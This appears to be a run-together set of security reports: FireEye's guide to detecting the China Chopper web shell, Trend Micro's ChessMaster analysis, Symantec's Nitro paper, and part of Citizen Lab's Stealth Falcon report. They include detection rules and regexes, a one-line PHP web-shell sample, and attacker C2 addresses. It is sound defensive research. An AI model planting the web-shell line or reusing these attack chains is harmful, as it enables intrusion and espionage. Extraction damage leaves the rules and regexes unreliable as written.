alert tcp any any - any 80 ( sid:900001 content:base64_decode http_client_bodyflow:to_server,established content:POST nocase http_method msg:Webshell Detected Apache) alert tcp EXTERNAL_NET any - HTTP_SERVERS HTTP_PORTS (msg: China Chopper with first Command Detected flow:to_server,established content: FromBase64String content: z1 content:POST nocasehttp_method reference:url,http://www.fireeye.com/blog/technical/botnet-activities- research/2013/08/ breaking-down-the-china-chopper-web-shell-part-i.html classtype:web-application-attack sid: 900000101) alert tcp EXTERNAL_NET any - HTTP_SERVERS HTTP_PORTS (msg: China Chopper with all Commands Detected flow:to_ server,established content: FromBase64String content: z pcre: /Z\d1,3/i content:POST nocasehttp_method reference:url,http://www.fireeye.com/blog/technical/botnet-activities- research/2013/08/ breaking-down-the-china-chopper-web-shell-part-i.html classtype:web-application-attack sid: 900000102) FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 21 Host Because the shells must contain a predictable syntax, researchers can quickly attempt to find files that have that code in play.
Many methods can be used to find files that contain China Chopper.
The quickest and easiest method, especially on a Linux machine, is probably using regular expressions.
As shown in Figure 26, a quick egrep across the Web directory can help identify infected files.
Figure 26: Using egrep to find China Chopper Figure 27: Using findstr to locate China Chopper As shown in Figure 26, the egrep and regex commands are a powerful combination.
While the regex syntax may seem like gibberish, mastering it is not as difficult as it seems at first glance.
Ian Ahl has created a few tutorials that can help improve researchers regex skills.
Here are two to get started: Regex basics (http://www.tekdefense.com/news/2012/10/21/tektip-ep12-regex-basics.html) Using regex with Notepad (http://www.tekdefense.com/news/2013/1/6/tektip-ep19-using-regex-with-notepad.html) Windows also provides a way to search files using regular expressions with its native findstr command.
egrep -re [][?]
php\s\eval[(]\_POST\[.\][)][?
][]
.php c:\Toolsfindstr /R [][?]
php.\eval[(]\_POST.[)][?
][]
.php test.php:?php eval(_POST[password])?
c:\Tools FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 22 The command string differs from the regex equivalent.
This was necessary to get around some of the ways that findstr interprets regex.
The findstr command runs as follows: findstr /R [][?]
php.\eval[(]\_POST.[)][?
][]
.php These examples show detection in the PHP shell.
To find the ASPX shell, modify the regex to fit the syntax of the ASPX shell as shown: egrep -re []\\\sPage\sLanguage.
Jscript.\[][]\eval.
Request\.
Item.unsafe .aspx findstr /R []\\.Page.
Language.
Jscript.\[][]\eval.
Request\.
Item.unsafe .aspx Researchers unsure where all of the PHP or ASPX files are on a Windows host can use the dir command with some extended options to help identify Web files to run the regex command against (see Figure 28).
dir /S /A /B .php Findstr also has an option to search all subdirectories (see Figure 29), as follows: findstr /R /S [][?]
php.\eval[(]\_POST.[)][?
][]
.php Figure 28: Recursive search through Windows using the dir command Figure 29: Using findstr to recursively locate multiple instances of the Web shell FireEye, Inc.
The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell 23 FireEye, Inc. 1440 McCarthy Blvd.
Milpitas, CA 95035 408.321.6300 877.FIREEYE (347.3393) infoFireEye.com www.
FireEye.com 2013 FireEye, Inc. All rights reserved.
FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service marks of their respective owners.
RPT.CCWS.EN-US.112013 Conclusion Armed with knowledge about China Choppers features, platform versatility, delivery mechanisms, traffic analysis, and detectionalong with a few free software toolsresearchers can begin eradicating this elegantly designed but dangerous menace.
To learn more about how FireEye can help your organization find China Chopper and other advanced malware, visit www.fireeye.com.
About FireEye FireEye has invented a purpose-built, virtual machine-based security platform that provides real- time threat protection to enterprises and governments worldwide against the next generation of cyber attacks.
These highly sophisticated cyber attacks easily circumvent traditional signature-based defenses, such as next-generation firewalls, IPS, anti-virus, and gateways.
The FireEye Threat Prevention Platform provides real-time, dynamic threat protection without the use of signatures to protect an organization across the primary threat vectors, including Web, email, and files and across the different stages of an attack life cycle.
The core of the FireEye platform is a virtual execution engine, complemented by dynamic threat intelligence, to identify and block cyber attacks in real time.
FireEye has over 1,100 customers across more than 40 countries, including over 100 of the Fortune 500.
Trend Micro November 6, 2017 ChessMasters New Strategy: Evolving Tools and Tactics blog.trendmicro.com/trendlabs-security-intelligence/chessmasters-new-strategy-evolving-tools-tactics/ by MingYen Hsieh, CH Lei, and Kawabata Kohei A few months ago, we covered the ChessMaster cyberespionage campaign, which leveraged a variety of toolsets and malware such as ChChes and remote access trojans like RedLeaves and PlugX to compromise its targets primarily organizations in Japan.
A few weeks ago, we observed new activity from ChessMaster, with notable evolutions in terms of new tools and tactics that werent present in the initial attacks.
From what weve seen, ChessMaster is continuously evolving, using open source tools and ones they developed, likely as a way to anonymize their operations.
Based on the way the campaign has developed, it wont be surprising to see additional evolutions from ChessMaster in the future.
Infection Vector Figure: 1 ChessMaster infection chain.
Here is a summary of how ChessMaster enters a target system: 1/6 https://blog.trendmicro.com/trendlabs-security-intelligence/chessmasters-new-strategy-evolving-tools-tactics/ http://blog.trendmicro.com/trendlabs-security-intelligence/chessmaster-cyber-espionage-campaign/ http://blog.trendmicro.com/trendlabs-security-intelligence/files/2017/11/Chessmaster-1.jpg http://blog.trendmicro.com/trendlabs-security-intelligence/files/2017/11/Chessmaster-2.jpg http://blog.trendmicro.com/trendlabs-security-intelligence/files/2017/11/Chessmaster-3.jpg http://blog.trendmicro.com/trendlabs-security-intelligence/files/2017/11/Chessmaster-4.jpg http://blog.trendmicro.com/trendlabs-security-intelligence/files/2017/11/Chessmaster-5.jpg http://blog.trendmicro.com/trendlabs-security-intelligence/files/2017/11/Chessmaster-6.jpg http://blog.trendmicro.com/trendlabs-security-intelligence/files/2017/11/Chessmaster-7.jpg 1.
An exploit document arrives on a target system.
This document abuses a SOAP WSDL parser vulnerability (CVE-2017-8759) that affects the Microsoft .NET Framework 2.
It then accesses the remote server 89[.]18[.]27[.
]159/img.db 3.
Once the victim opens the document, the attacker can execute arbitrary commands on the victims machine.
4.
The exploit document then launches mshta.exe to access 89[.]18[.]27[.
]159:8080/lK0RS, which serves as the first backdoor into the system 5.
This backdoor launches a malicious PowerShell script 6.
The PowerShell script downloads and activates the malware located in the remote server 89[.]18[.]27[.
]159/FA347FEiwq.jpg 7.
jpg is the second backdoor, which uses the Command-and-Control (CC) server62[.]75[.]197[.
]131.
As mentioned earlier, the first step of the new campaign involves the use of an exploit document that connects to the remote server 89[.]18[.]27[.
]159/img.db when opened.
Img.db holds the exploit command, which will execute the content of another remote server, 89[.]18[.]27[.
]159:8080/lK0RS, via mhsta.exe.
The image below shows the malicious link 89[.]18[.]27[.
]159/img.db embedded in the exploit document: Figure 2.
Link embedded in the document 89[.]18[.]27[.
]159:8080/lK0RS is a JScript backdoor, which apparently comes from an open source RAT known as Koadic.
At this stage, we observed that the attacker tried to gather the systems environment information via command line tools.
We also observed that some commands were based on the result of a previous command, which means that not all parts of the attack were automated and that parts of the commands were done manually.
While this might be a sign of a more sophisticated automation technique, we believe that this may be an attacker trying to get up close and personal by manually checking the environment before delivering the final payload.
It is possible that this was done to avoid sandboxing or analysis by researchers.
2/6 https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2017-8759 While we were not able to gather the actual live data of the next step of the attack, we were able to observe Koadic and the following script, which tries to download another DLL file from the same server that hosts Koadic, at the same time.
We believe that FA347FEiwq.jpg serves as the final payload of this attack.
Figure 3: PowerShell script used to download execute FA347FEiwq.jpg The script attempts to download the file from 89[.]18[.]27[.
]159/FA347FEiwq.jpg (detected by Trend Micro as BKDR_ANEL.ZKEI), a DLL file which serves as the second backdoor.
The Powershell script leverages RegisterXLL, which is a component of Excel, to load BKDR_ANEL into Excel.exe Figure 4: FA347FEiwq.jpg is loaded by Excel.exe Backdoor Analysis BKDR_ANEL is downloaded from89[.]18[.]27[.
]159.
Once loaded onto the system, it will launch and inject code into svchost.exe, after which the injected code decrypts and activates the embedded backdoor.
BKDR_ANEL has a Microsoft signature attachedthe signature is invalid and likely added to make it seem more harmless.
The backdoor has a hardcoded malware version labeled 5.0.0 beta1 that contains basic backdoor routines with a string-like Function not implemented.
inside.
The relatively incomplete code might be a clue of a new variant in the future.
The malwares CC protocol is very similar to the one used by BKDR_CHCHES at first glance: 3/6 Figure 5: Comparison of BKDR_ANEL and BKDR_CHCHES CC protocols However they are different backdoors, with BKDR_CHCHES employing RC4 as its main encryption algorithm wherein the decryption key is sent with the encrypted information separated by and set in the Cookie header.
On the other hand, BKDR_ANEL utilizes Blowfish with the hardcoded encryption key obviously labeled as this is the encrypt key.
Another difference between the two is that BKDR_CHCHES does not contain any backdoor routines by default.
Instead, it loads additional modules from the CC server directly into memory.
Alternatively, BKDR_ANEL is more like a regular backdoor embedded with basic backdoor routines.
The image and table below illustrate the information BKDR_ANEL sends, and how BKDR_ANEL encrypts the information.
Figure 6: Information sent by BKDR_ANEL (1/2) Offset Description Example in previous figure 0x0 Process ID 78 0C 00 00 0x4 MD5(computer name machine GUID) 20 C4 36 1D 03 2F 93 B8 C7 A0 01 9A EB 2B BD EF 0x14 Computer name TEST 0x20 Timestamp 1508201270 0x2a OS version 5.1.2600 0x3a User name Administrator 4/6 0x47 Time zone information 00 00 00 00 (Bias / 60) 00 00 00 00 (Bias 60) 01 00 00 00 Has DaylightBias or not 0x53 Current directory C:\Documents and Settings\Administrator\My Documents 0x87 Backdoor version 5.0.0 beta1 Table 1: Information sent by BKDR_ANEL (2/2) Figure 7: BKDR_ANEL encryption process The information blocks are separated by .
As seen in the image above the string before in each block, such as oVG, is not used.
Further similarities between BKDR_ANEL and BKDR_CHCHES can be seen in special partial MD5 logic.
Both malware only uses the middle 8 bytes from the regular MD5 result.
BKDR_CHCHES will use it to encrypt the network traffic, while BKDR_ANEL uses it as a code branch in the malware encryption routine, although from our analysis, it does not look like it is currently in use.
Mitigation 5/6 To combat campaigns like ChessMaster, organizations need to make full use of the tools available to them.
This includes everything from regularly updating their systems to the latest patches, which minimizes the impact of attacks that leverage vulnerabilities.
In addition, the proper use of behavior monitoring, application control, email gateway monitoring, and intrusion/detection systems can help detect any suspicious activities that occur within the network.
Finally, organizations need to cultivate a culture of security to educate users on what to look out for in terms of potential attacks, as end users are often the primary target of these kinds of campaigns.
Organizations can also strengthen their security by employing solutions such as Trend Micro Vulnerability Protection, which protects endpoints from threats that exploit vulnerabilities via a high-performance engine monitors traffic for new specific vulnerabilities that uses host-based intrusion prevention system (IPS) filters as well as zero-day attack monitoring.
In addition, comprehensive security solutions can be used to protect organizations from attacks.
These include Trend Micro endpoint solutions such as Trend Micro Smart Protection Suites, and Worry-Free Business Security, which can protect users and businesses from these threats by detecting malicious files, well as blocking all related malicious URLs.
Trend Micro Deep Discovery has an email inspection layer that can protect enterprises by detecting malicious attachment and URLs.
Trend Micro OfficeScan with XGen endpoint security infuses high-fidelity machine learning with other detection technologies and global threat intelligence for comprehensive protection against all kinds of threats.
Indicators of Compromise: Related hashes detected as BKDR_ANEL.ZKEI (SHA-256): af1b2cd8580650d826f48ad824deef3749a7db6fde1c7e1dc115c6b0a7dfa0dd Command-and-control server: hxxp://62[.]75[.]197[.]131/page/?
[random strings] URLs related to the campaign hxxp://89[.]18[.]27[.
]159/img.db hxxp://89[.]18[.]27[.
]159:8080/lK0RS hxxp://89[.]18[.]27[.
]159/FA347FEiwq.jpg 6/6 https://www.trendmicro.com/en_us/business/products/user-protection/sps/endpoint/endpoint-application-control.html https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/infosec-guide-email-threats https://www.trendmicro.com/us/enterprise/cloud-solutions/deep-security/index.html https://www.trendmicro.com/en_us/business/products/user-protection/sps/endpoint/vulnerability-protection.html http://www.trendmicro.com/us/business/complete-user-protection/index.html http://www.trendmicro.com/us/business/complete-user-protection/index.html http://www.trendmicro.com/us/small-business/product-security/ http://www.trendmicro.com/us/small-business/product-security/ http://www.trendmicro.com/us/enterprise/security-risk-management/deep-discovery/ http://www.trendmicro.com/us/enterprise/security-risk-management/deep-discovery/ http://www.trendmicro.com/us/enterprise/product-security/officescan/ http://www.trendmicro.com/us/enterprise/product-security/officescan/ http://www.trendmicro.com/us/business/xgen/index.html ChessMasters New Strategy: Evolving Tools and Tactics
The Nitro Attacks Eric Chien and Gavin OGorman Stealing Secrets from the Chemical Industry Security Response Contents Introduction ....................................................... 1 Targets................................................................ 1 Attack methodology .......................................... 2 Geographic Spread ........................................... 3 Attribution .......................................................... 4 Technical details ................................................ 4 Delivery ........................................................ 4 Threat details ............................................... 5 Command and Control (CC) ...................... 6 Related Attacks .................................................. 6 Summary ............................................................ 6 Appendix ............................................................ 7 Introduction This document discusses a recent targeted attack campaign directed primarily at private companies involved in the research, develop- ment, and manufacture of chemicals and advanced materials.
The goal of the attackers appears to be to collect intellectual property such as design documents, formulas, and manufacturing processes.
In addition, the same attackers appear to have a lengthy operation history including attacks on other industries and organizations.
At- tacks on the chemical industry are merely their latest attack wave.
As part of our investigations, we were also able to identify and con- tact one of the attackers to try and gain insights into the motiva- tions behind these attacks.
As the pattern of chemical industry tar- gets emerged, we internally code-named the attack campaign Nitro.
The attack wave started in late July 2011 and continued into mid- September 2011.
However, artifacts of the attack wave such as Command and Control (CC) servers are also used as early as April 2011 and against targets outside the chemical indus- try.
The purpose of the attacks appears to be industrial espio- nage, collecting intellectual property for competitive advantage.
Targets The attackers have changed their targets over time.
From late April to early May, the attackers focused on human rights related NGOs.
They then moved on to the motor industry in late May.
From June until mid- July no activity was detected.
At this point, the current attack campaign against the chemical industry began.
This particular attack has lasted much longer than previous attacks, spanning two and a half months.
The Nitro Attacks: Stealing Secrets from the Chemical Industry Page 2 Security Response A total of 29 companies in the chemical sector were confirmed to be targeted in this attack wave and another 19 in various other sectors, primarily the defense sector, were seen to be affected as well.
These 48 companies are the minimum number of companies targeted and likely other companies were also targeted.
In a recent two week period, 101 unique IP addresses contacted a command and control server with traffic consistent with an infected machine.
These IPs represented 52 different unique Internet Service Providers or organizations in 20 countries.
Companies affected include: Multiple Fortune 100 companies involved in research and development of chemical compounds and advanced materials.
Companies that develop advanced materials primarily for military vehicles.
Companies involved in developing manufacturing infrastructure for the chemical and advanced materials industry.
Attack methodology The attackers first researched desired targets and then sent an email specifically to the target.
Each organiza- tion typically only saw a handful of employees at the receiving end of these emails.
However, in one organization almost 500 recipients received a mail, while in two other organizations, more than 100 were selected.
While the attackers used different pretexts when sending these malicious emails, two methodologies stood out.
First, when a specific recipient was targeted, the mails often purported to be meeting invitations from established business partners.
Secondly, when the emails were being sent to a broad set of recipients, the mails purported to be a necessary security update.
The emails then contained an attachment that was either an executable that appeared to be a text file based on the file name and icon, or a password-protected archive containing an execut- able file with the password provided in the email.
In both cases, the executable file was a self-extracting execut- able containing PoisonIvy, a common backdoor Trojan developed by a Chinese speaker.
When the recipient attempted to open the attachment, they would inadvertently execute the file, causing Poi- sonIvy to be installed.
Once PoisonIvy was installed, it contacted a CC server on TCP port 80 using an encrypt- ed communication protocol.
Using the CC server, the attackers then instructed the compromised computer to provide the infected computers IP address, the names of all other computers in the workgroup or domain, and dumps of Windows cached password hashes.
By using access to additional computers through the currently logged on user or cracked passwords through dumped hashes, the attackers then began traversing the network infecting additional computers.
Typically, their primary goal is to obtain domain administrator credentials and/or gain access to a system storing intellectual property.
Domain administrator credentials make it easier for the attacker to find servers hosting the desired intellectual property and gain access to the sensitive materials.
The attackers may have also downloaded and installed additional tools to penetrate the network further.
While the behavior of the attackers differs slightly in each compromise, generally once the attackers have identi- fied the desired intellectual property, they copy the content to archives on internal systems they use as internal staging servers.
This content is then uploaded to a remote site outside of the compromised organization com- pleting the attack.
The Nitro Attacks: Stealing Secrets from the Chemical Industry Page 3 Security Response Geographic Spread Figure 1 shows the location of infected computers.
This data is derived from the IP addresses of machines connecting back to the command and control serv- er.
The majority of infected machines are located in the US, Bangladesh and the UK however, overall there is wide geographical spread of infections.
Figure 2 shows the country of origin of the organiza- tions targeted by these at- tacks.
While the US and UK again figure highly here, overall the geographical spread is different.
This means that the infected computers are rarely located within the organi- zations headquarters or country of origin.
Figure 2 Country of origin of targeted organizations 1 Italy 1 Saudi Arabia 1Belgium 1 Netherlands 1 Japan 5UK 12USA 2 Denmark Figure 1 Geographic location of infected computers Additional confirmed infections exist however, they did not contact the command and control server during the two-week period we were monitoring it.
The Nitro Attacks: Stealing Secrets from the Chemical Industry Page 4 Security Response There are two possible explanations for this: The attackers are targeting sites, or individuals in certain sites, which they know have access to certain data that is of interest to the attacker.
The attackers are targeting sites or individuals that they believe have less security measures in place and are therefore an easier access point into the victims networks.
We can conclude that the attackers are not targeting organizations in a particular country.
Attribution The attacks were traced back to a computer system that was a virtual private server (VPS) located in the United States.
However, the system was owned by a 20-something male located in the Hebei region in China.
We inter- nally have given him the pseudonym of Covert Grove based on a literal translation of his name.
He attended a vocational school for a short period of time specializing in network security and has limited work experience, most recently maintaining multiple network domains of the vocational school.
Covert Grove claimed to have the U.S.-based VPS for the sole purpose of using the VPS to log into the QQ instant message system, a popular instant messaging system in China.
By owning a VPS, he would have a static IP ad- dress.
He claims this was the sole purpose of the VPS.
And by having a static IP address, he could use a feature provided by QQ to restrict login access to particular IP addresses.
The VPS cost was RMB200 (US32) a month.
While possible, with an expense of RMB200 a month for such protection and the usage of a US-based VPS, the scenario seems suspicious.
We were unable to recover any evidence the VPS was used by any other authorized or unauthorized users.
Further, when prompted regarding hacking skills, Covert Grove immediately provided a contact that would perform hacking for hire.
Whether this contact is merely an alias or a different individual has not been determined.
We are unable to determine if Covert Grove is the sole attacker or if he has a direct or only indirect role.
Nor are we able to definitively determine if he is hacking these targets on behalf of another party or multiple parties.
Technical details As mentioned above, the threat used to compromise the targeted networks is Poison Ivy, a Remote Access Tool (RAT).
This application is freely available from poisonivy-rat.com.
It comes fully loaded with a number of plug-ins to give an attacker complete control of the compromised computer.
Delivery The method of delivery has changed over time as the attackers have changed targets.
Older attacks involved a self-extracting archive with a suggestive name, for example: Human right report of north Africa under the war.
scr.
The most recent attacks focusing on the chemical industry are using password-protected 7zip files which, when extracted, contain a self-extracting executable.
The password to extract the 7zip file is included in the email.
This extra stage is used to prevent automated systems from extracting the self-extracting archive.
Some example file names using this technique include: AntiVirus_update_package.7z acquisition.7z offer.7z update_flashplayer10ax.7z The Nitro Attacks: Stealing Secrets from the Chemical Industry Page 5 Security Response An example of an email used to send the attachment can be seen in figure 3.
The email is quite generic, appli- cable to any corporate user.
Some of the subject lines will vary and may include the name of the targeted company in an attempt to be more convincing.
Threat details When the self-extracting archive file is executed, it will drop two files.
Examples of file names that are used include: Temp\happiness.txt Temp\xxxx.exe The executable file, xxxx.exe in this case, is then executed.
The second file, happiness.txt, contains custom code in binary format that is en- crypted and used by xxxx.exe.
The xxxx.exe file copies happiness.txt to C:\PROGRAM FILES\common files\ ODBC\ODUBC.DLL and to C:\WIN- DOWS\system32\jql.sys.
It then loads the contents of the encrypted file and injects it into the explorer.exe and iexplore.exe processes.
The injected code copies xxxx.exe to System\winsys.exe and connects to the Command and Control (CC) server on TCP port 80.
The communication with the server is a handshake using an encryption algorithm (Camellia).
Once the Trojan establishes the servers authenticity, it expects a variable-size block of binary code that is read from the server straight into the virtual space for iexplore.exe and then executed.
When an executable is compiled, the compiler will store some metadata in the compiled executable.
One particu- lar piece of relevant metadata is the location of the compiled code on disk.
The path in this instance contained Chinese characters and was: C:\Documents and Settings\Administrator\\\\Release\.pdb This translates to: C:\Documents and Settings\Administrator\[Desktop]\[New Folder]\[read the file]\Release\[read the file].pdb Figure 3 Malicious email The Nitro Attacks: Stealing Secrets from the Chemical Industry Page 6 Security Response Command and Control (CC) When executed, the Poison Ivy threat, or Backdoor.
Odivy, connects to a command and control (CC) server over TCP port 80.
A number of different CC domains and IP addresses were identified.
The domains and IPs are listed in table 1.
The majority of samples connect to a domain however one subset of samples connected directly to the IP address 204.74.215.58, which be- longed to the Chinese QQ user men- tioned previously and was also associ- ated with antivirus-groups.com.
Related Attacks Several other hacker groups have also begun targeting some of the same chemical companies in this time pe- riod.
Attackers are sending malicious PDF and DOC files, which use exploits to drop variants of Backdoor.
Sogu.
This particular threat was also used by hackers to compromise a Korean social network site to steal records of 35 million users.
Determining if the two groups are related is difficult, but any relationship appears unlikely.
The attackers described in this document use a very basic delivery platform compressed self-extracting archives sometimes sent to a large number of recipients.
The Sogu gang, in contrast, use PDF and DOC files in very tailored, targeted emails.
The Sogu gang use a custom developed threat Backdoor.
Sogu, whereas the group described in this document use an off the shelf threat Poison Ivy.
While the number of Sogu targets is currently small relative to the Poison Ivy attacks, we continue to monitor their activities.
Summary Numerous targeted attack campaigns are occurring every week.
However, relative to the total number of at- tacks, few are fully disclosed.
These attacks are primarily targeting private industry in search of key intellectual property for competitive advantage, military institutions, and governmental organizations often in search of documents related to current political events and human rights organizations.
This attack campaign focused on the chemical sector with the goal of obtaining sensitive documents such as pro- prietary designs, formulas, and manufacturing processes.
Table 1 CC domains and IPs Domain IPs pr[REMOVED].noip.org 173.252.207.71, 173.252.205.36, 173.252.205.37, 173.252.205.64 antivirus-groups.com 74.82.166.205, 204.74.215.58 domain.rm6.org 216.131.95.22, 222.255.28.27 anti-virus.sytes.net 173.252.205.36, 173.252.205.37, 173.252.205.64 The Nitro Attacks: Stealing Secrets from the Chemical Industry Page 7 Security Response Appendix Example MD5s of PoisonIvy samples used in these attacks: 091457444b7e7899c242c5125ddc0571 6e99585c3fbd4f3a55bd8f604cb35f38 07e266f7fb3c36a1f3a5c5d2d229a478 17e7022496d8092d3ca76ae9524a7260 2f37912e7cb6e5c478e6dc3d0e381a24 5d075e9536c5494745135c1176981c96 76000c77ea9a214f5b2ae8cc387809db a98d2c90b9494fc885c7cd35d43666ea c128c40bd8acb282288e8138352ce4e1 cab66da82594ff5266ac8dd89e3d1539 70fcb3446fce23b18d9a12b2ed911e52 c53c93a445d751387eb167e5a2b901da dd5715cb3b0cdddbe131f03cc08f0f57 0f54a9757f1a2fef2b04b776714a7546 37f70717f549f1938e5785527e56978d 31346e5b39ddb095d76071ac86da4c2e 330ddac1f605ff8abf60880c584ed797 457a2a8d0784e9fc8e49f6ef60f7f29e 87aeec7f7c4ec1b6dc5e6c39b28d8273 8d36fd85d9c7d1f4bb170a28cc23498a de7e293aa9c4d849dc080f3e87573b24 64a4ad90a55e7b6c30c46135435f50a2 About Symantec Symantec is a global leader in providing security, storage and systems management solutions to help businesses and consumers secure and manage their information.
Headquartered in Moutain View, Calif., Symantec has operations in more than 40 countries.
More information is available at www.symantec.com.
For specific country offices and contact num- bers, please visit our Web site.
For product information in the U.S., call toll-free 1 (800) 745 6054.
Symantec Corporation World Headquarters 350 Ellis Street Mountain View, CA 94043 USA 1 (650) 527-8000 www.symantec.com Copyright 2011 Symantec Corporation.
All rights reserved.
Symantec and the Symantec logo are trademarks or registered trademarks of Symantec Corporation or its affiliates in the U.S. and other countries.
Other names may be trademarks of their respective owners.
Any technical information that is made available by Symantec Corporation is the copyrighted work of Symantec Corporation and is owned by Symantec Corporation.
NO WARRANTY .
The technical information is being delivered to you as is and Symantec Corporation makes no warranty as to its accuracy or use.
Any use of the technical documentation or the information contained herein is at the risk of the user.
Documentation may include technical or other inaccuracies or typographical errors.
Symantec reserves the right to make changes without prior notice.
Security Response About the authors Eric Chien is a Technical Director for Security Response and Gavin OGorman is a Security Response Manager in Symantec.
Keep Calm and (Dont) Enable Macros: A New Threat Actor Targets UAE Dissidents May 29, 2016 Categories: Bill Marczak, John Scott-Railton, Reports and Briefings, Research News Authors: Bill Marczak, John Scott-Railton 1.
Executive Summary This report describes a campaign of targeted spyware attacks carried out by a sophisticated operator, which we call Stealth Falcon.
The attacks have been conducted from 2012 until the present, against Emirati journalists, activists, and dissidents.
We discovered this campaign when an individual purporting to be from an apparently fictitious organization called The Right to Fight contacted Rori Donaghy.
Donaghy, a UK-based journalist and founder of the Emirates Center for Human Rights, received a spyware-laden email in November 2015, purporting to offer him a position on a human rights panel.
Donaghy has written critically of the United Arab Emirates (UAE) government in the past,1 and had recently published a series of articles based on leaked emails involving members of the UAE government.2 Circumstantial evidence suggests a link between Stealth Falcon and the UAE government.
We traced digital artifacts used in this campaign to links sent from an activists Twitter account in December 2012, a period when it appears to have been under government control.
We also identified other bait content employed by this threat actor.
We found 31 public tweets sent by Stealth Falcon, 30 of which were directly targeted at one of 27 victims.
Of the 27 targets, 24 were obviously linked to the UAE, based on their profile information (e.g., photos, UAE in account name, location), and at least six targets appeared to be operated by people who were arrested, sought for arrest, or convicted in absentia by the UAE government, in relation to their Twitter activity.
The attack on Donaghy - and the Twitter attacks - involved a malicious URL shortening site.
When a user clicks on a URL shortened by Stealth Falcon operators, the site profiles the software on a users computer, perhaps for future exploitation, before redirecting the user to a benign website containing bait content.
We queried the URL shortener with every possible short URL, and identified 402 instances of bait content which we believe were sent by Stealth Falcon, 73 of which obviously referenced UAE issues.
Of these URLs, only the one sent to Donaghy definitively contained spyware.
However, we were able to trace the spyware Donaghy received to a network of 67 active command and control (C2) servers, suggesting broader use of the spyware, perhaps by the same or other operators.
Figure 1: Tag cloud of bait content topics used by Stealth Falcon showing a strong emphasis on political topics and narratives critical of the UAE government 2.
Background Rori Donaghy 3 is a London-based journalist who currently works for UK news organization Middle East Eye, a website that covers news in the Middle East.
4 Middle East Eye has recently published a series of articles about UAE foreign policy, based on leaked emails involving members of the UAE government.
Previously, Donaghy led the Emirates Center for Human Rights, 5 an organization he founded to promote the defence of human rights in the United Arab Emirates through building strong relationships with the media, parliaments and other relevant organisations outside the UAE.6 2.1.
Political and Human Rights Situation in the UAE In its most recent (2015) Freedom in the World ranking, Freedom House classified the UAE as not free, and noted that the UAE continues to suppress dissent.
7 Human Rights Watch stated in its most recent (2016) country report, that the UAE has continued to arbitrarily detain and in some cases forcibly disappear individuals who criticized the authorities.8 Amnesty International says that UAE courts have accepted evidence allegedly obtained through torture.9 Specifically in the online realm, there is evidence that the UAE government has previously conducted malware attacks against civil society.
At least three dissidents 10 including a journalist, and UAE human rights activist Ahmed Mansoor, were targeted in 2012 with Hacking Team spyware 11 by a Hacking Team customer in the UAE, apparently operating under the auspices of the office of Sheikh Tahnoon bin Zayed al-Nahyan, 12 a son of the founder of the UAE, and now the UAE Deputy National Security Advisor.
13 The UAE client had a license from Hacking Team to concurrently infect and monitor 1100 devices.
14 Figure 2: Diagram of Stealth Falcons known Targets, Fake Personas, and campaign Artefacts, along with relevant sections of the report.
The document paints a picture of a large-scale campaign with a focus on critics of the UAE Government 3.
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The November 2015 Attack: An Invitation This section describes an email attack against journalist Rori Donaghy.
The operators used a Microsoft Word macro that installs a custom backdoor allowing operators to execute arbitrary commands on a compromised machine.
3.1 Initial Attack Email In November 2015, the journalist Donaghy received the following email message, purportedly offering him a position on a panel of human rights experts: From: the_right_to_fightopenmailbox.org Subject: Current Situation of Human Rights in the Middle East Mr. Donaghy, We are currently organizing a panel of experts on Human Rights in the Middle East.
We would like to formally invite you to apply to be a member of the panel by responding to this email.
You should include your thoughts and opinions in response to the following article about what more David Cameron can be doing to help aid the Middle East.
http://aax.me/d0dde Thank you.
We look forward to hearing back from you, Human Rights: The Right to Fight Donaghy was suspicious of the email, and forwarded it to us for analysis.
We found that the link in the email (http://aax.me/d0dde) loaded a page containing a redirect to the website of Al Jazeera.
Before completing the redirect, it invoked JavaScript to profile the targets computer.
We describe the profiling in detail in Section 3.1-3.3 below.
3.2 Communication with the Operator On our instruction, Donaghy responded to the email, asking for further information.
The operators responded with the following message: From: the_right_to_fightopenmailbox.org Subject: RE: Current Situation of Human Rights in the Middle East Mr. Donaghy, Thank you for getting back to us.
We are very interested in you joining our panel.
The information you requested is in the attached document.
In order to protect the content of the attachment we had to add macro enabled security.
Please enable macros in order to read the provided information about our organization.
We hope you will consider joining us.
Thank you.
We look forward to hearing back from you, Human Rights: The Right to Fight By chance, the attachment was identified as malicious and blocked by a program running in Donaghys email account.
We instructed him to follow up and request that the operators forward the attachment via another method.
Donaghy received the following reply: From: the_right_to_fightopenmailbox.org Subject: RE: Current Situation of Human Rights in the Middle East Mr. Donaghy, We apologize for having problems with our attachment.
Please follow this link to download our organizational information.
http://aax.me/a6faa The link has been password protected.
The password is: right2fight In order to protect the content of the attachment we also had to add macro enabled security.
Please enable macros in order to read the provided information about our organization.
We hope you will consider joining us.
Thank you.
We look forward to hearing back from you, Human Rights: The Right to Fight This second link (http://aax.me/a6faa) redirects to the following URL using an HTTP 302 redirect: https://cloud.openmailbox.org/index.php/s/ujDNWMmg8pdG3AL/authenticate This is a password-protected link to a file shared on an ownCloud15 instance.
We obtained this file, and found it to be a Microsoft Word document.
3.3 The Malicious Document The document is: Filename: right2fight.docm MD5: 80e8ef78b9e28015cde4205aaa65da97 SHA1: f25466e4820404c817eaf75818b7177891735886 SHA256: 5a372b45285fe6f3df3ba277ee2de55d4a30fc8ef05de729cf464103632db40f When opened, the target is greeted with the following image, purporting to be a message from proofpoint, a legitimate provider of security solutions for Office 365.16 The image claims that This Document Is Secured and requests that the user Please enable macros to continue.
Figure 3: Fake Proofpoint image in the malicious document sent to Donaghy If the target enables macros, they are presented with the following document: Figure 4: Document that Donaghy would have seen, had he enabled macros The document purports to be from an organization called The Right To Fight, and asks the target Donaghy to open the link in the original email he received (the email containing the profiling URL).
We believe that The Right To Fight is a fictitious organization, as their logo appears to be copied from an exhibition about African American Experiences in WWII.17 Further, The Right to Fight has no discernable web presence.
Figure 5: Logo from exhibition about African American experiences in WWII.
3.3.1 Profiling The document attempts to execute code on the recipients computer, using a macro.
The macro passes a Base64-encoded command to Windows PowerShell, which gathers system information via Windows Management Instrumentation (WMI), and attempts to determine the installed version of .NET by querying the registry (full script available in Appendix A: Stage One PowerShell Command).
3.3.2 Communication Obtaining a Shell Gathered information is returned to http://adhostingcache.com/ehhe/eh4g4/adcache.txt, and the servers response is executed as a PowerShell command.
